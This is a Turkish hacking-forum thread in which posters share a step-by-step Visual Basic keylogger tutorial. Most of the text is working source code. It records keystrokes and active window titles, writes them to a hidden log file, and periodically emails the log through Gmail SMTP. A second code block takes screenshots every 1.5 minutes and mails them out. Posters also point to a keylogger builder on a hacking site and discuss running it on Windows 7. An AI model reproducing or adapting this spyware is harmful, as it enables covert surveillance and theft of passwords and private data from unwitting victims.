Keylogger programı yapma

patron önce visual basic prosu indiriceksin sonra bunun eğitim videoları var hakops ve diğer arkadaşlarımız videolu anlatm yapmışlar emeklerine sağlık onlara bakara kendi keyloggerini yapabilirsin...forumda anlıyan arkadaşlardan da yardım alabilirsin bende uğraştım ama yapamadım

bi yerden buldum alıntı
bu şekilde mi yapılıyor )



Keylogger yapımı

Ss bile atıcak size
erekenler.
*2 Adet TextBox
*3 Adet Timer

Öncelikle Formumuzun En üst Kısmına Bu Kodları Ekleyin.
Kod:
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean

Ekledikten sonra 2 Adet Text Ekleyin.Textleride ekledikten sonra
Timer açalım 1.Timerimiz.İnterval 1 Enabled = True

İçine Bu Kodları
Kod:
'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If

End If
Next

'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If

End If
Next


';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next


'[]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next

'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If

Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If

'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If

'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If

'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If

'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If


Timer2 bu Timer Bizim Log Dosyamızı Göndericeğimiz Alanı Seçmemize Yarıyacak.Timer2 İnterval 1 Enabled = True

İçine Bu Kodu Giricez.
Kod:
On Error Resume Next


Text2.Text = "C:/Hidden-Sabotage/Log.txt" ' Dosyanın kayıt olucağı yer..
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1


Ve Son Olarak Timer3.Bu Timer Bize Tutulan Logları Maillicek.Yani bunun intervalini siz ayarlayın karışmıyorum.Enabled true İnterval Size Kalmış.

Timer3 İçine Bu Kodları.
Kod:
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "GMail iD" ' Gmail ID miz
Flds.Item(schema & "sendpassword") = "Buraya Şifre Gir" ' Gmail Şifremiz
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "Hotmail iD" ' Hotmail Destekli
.From = "Keylogger" ' Kimden geldiği
.Subject = "Log Bilgi" ' Mail Konu Başlığı
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With

Ve En son kısım.Formumuzun en alt kısmınada

Bu kodu Ekliyoruz.İşlem tamamlanıyor
Kod:
Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function

Bu Keylogger kodlarıydy şimdi screen Shot a geçelim

Nesneler : Timer1 , Timer2 , Timer3 , Textbox ( Name : Say ) , 1 Adet Label ( Name : Say )
Kod:
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Dim a As Integer


Private Sub Form_Load()
Timer1.Interval = 100
Timer2.Interval = 1000
Timer3.Interval = 1
End Sub

Private Sub Timer1_Timer()
say.Caption = say.Caption + 1

If say.Caption = 90 Then
say.Caption = 0

End If

End Sub

Private Sub Timer2_Timer()
Text3.Text = Text3.Text + 1
End Sub

Private Sub Timer3_Timer()
If say.Caption = 60 Then

Call keybd_event(vbKeySnapshot, 0, 0, 0)

If Clipboard.GetFormat(vbCFBitmap) Then 'bmp ise

Picture1.Picture = Clipboard.GetData 'panodan resimi al picture1de göster


Call SavePicture(Picture1.Picture, "C:/spycoders/logresimler/" & "" & "Resim" & Text3.Text & ".jpg")

Clipboard.Clear
End If
End If
End Sub


Evet screenshotu da hallettik 1.5dk da bi resim kaydediyor

Bunu mail yollatmak için
Kod:
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "kullanıcıadı" ’ gene gmail olması lazım.
Flds.Item(schema & "sendpassword") = "şifre"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "[email protected]" ’kendi mailinizi yazın ki loglar size gelsin.Gmail
.From = "Mail Post Server"
.Subject = "Loglar Geldi" ’kafanıza göre değiştirin keylogger vs.sallayın birşeyler
.HTMLbOdy = "Resim Görüntüsü"
.Organization = "Mail Organtion"
.ReplyTo = "-"
.AddAttachment "C:MultiWarrior/logresimler/" ’resmin bulunduğu adres
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub

http://www.turkhackteam.net/turkhackteam-ar-ge-tim/714494-hexlogger-8-ultimate.html gir en kısa yoldan serveri olustur ve bu logger temiz yani içinde birşey yok ben v ebirçok kişi kullandı

dostum bzı ları yazdı bazı keylogger programları için xp olması gerekliymiş sorun olurmu benim win 7 ?

benim kide windows 7 sorun olmuyor çalışıyor keyloggerlar

ozaman biri beni yanlış bilgilendirdi bana dedi sistemin xp olması lazım xp yapcaktım az kalsın

valla windows 7 de de çalışır keyloggerler bende sorun olmuyor bazen ocx hatası filan veriyor onu yükleyince sorun olmuyor kardeşim sen nasıl rahatına gelirse öyle yap

ben bu keylogger vs işleri eğlence amaçlı yapıyorum maksat zamanla bişiler öğrene bilmek yoksa oyle milletin bişilerini çalmakmış ban ters oda kul hakkı ))